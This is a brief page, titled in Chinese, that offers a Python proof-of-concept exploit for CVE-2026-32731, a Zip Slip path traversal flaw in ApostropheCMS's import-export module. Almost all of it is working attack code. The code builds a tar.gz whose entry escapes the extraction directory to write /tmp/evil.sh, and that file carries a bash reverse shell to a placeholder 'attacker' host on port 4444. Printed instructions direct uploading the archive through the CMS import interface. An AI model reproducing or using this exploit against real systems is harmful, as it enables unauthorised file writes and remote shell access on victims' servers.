CVE-2026-32731 ApostropheCMS import-export模块Zip Slip路径穿越漏洞

import tarfile import io import os # PoC: Generate malicious .tar.gz with path traversal filename def create_malicious_tgz(): """ Create a malicious tar.gz file exploiting CVE-2026-32731 This PoC demonstrates how path traversal in tar entries can escape extraction directory """ # Create a malicious file with path traversal malicious_filename = '../../../../../../../../../tmp/evil.sh' malicious_content = b'#!/bin/bash\n# Malicious script - reverse shell or other payload\n/bin/bash -i >& /dev/tcp/attacker/4444 0>&1\n' # Create tar archive in memory tar_buffer = io.BytesIO() with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar: # Create TarInfo with path traversal in name info = tarfile.TarInfo(name=malicious_filename) info.size = len(malicious_content) tar.addfile(info, io.BytesIO(malicious_content)) return tar_buffer.getvalue() # Alternative: Direct file write for testing def generate_poc_files(): """ Generate files needed for manual testing """ # Create malicious tar.gz tgz_content = create_malicious_tgz() with open('malicious_import.tar.gz', 'wb') as f: f.write(tgz_content) print('[+] Created: malicious_import.tar.gz') print('[+] Upload via ApostropheCMS import UI to trigger vulnerability') print('[+] File will be written to /tmp/evil.sh (or similar path based on traversal depth)') if __name__ == '__main__': generate_poc_files()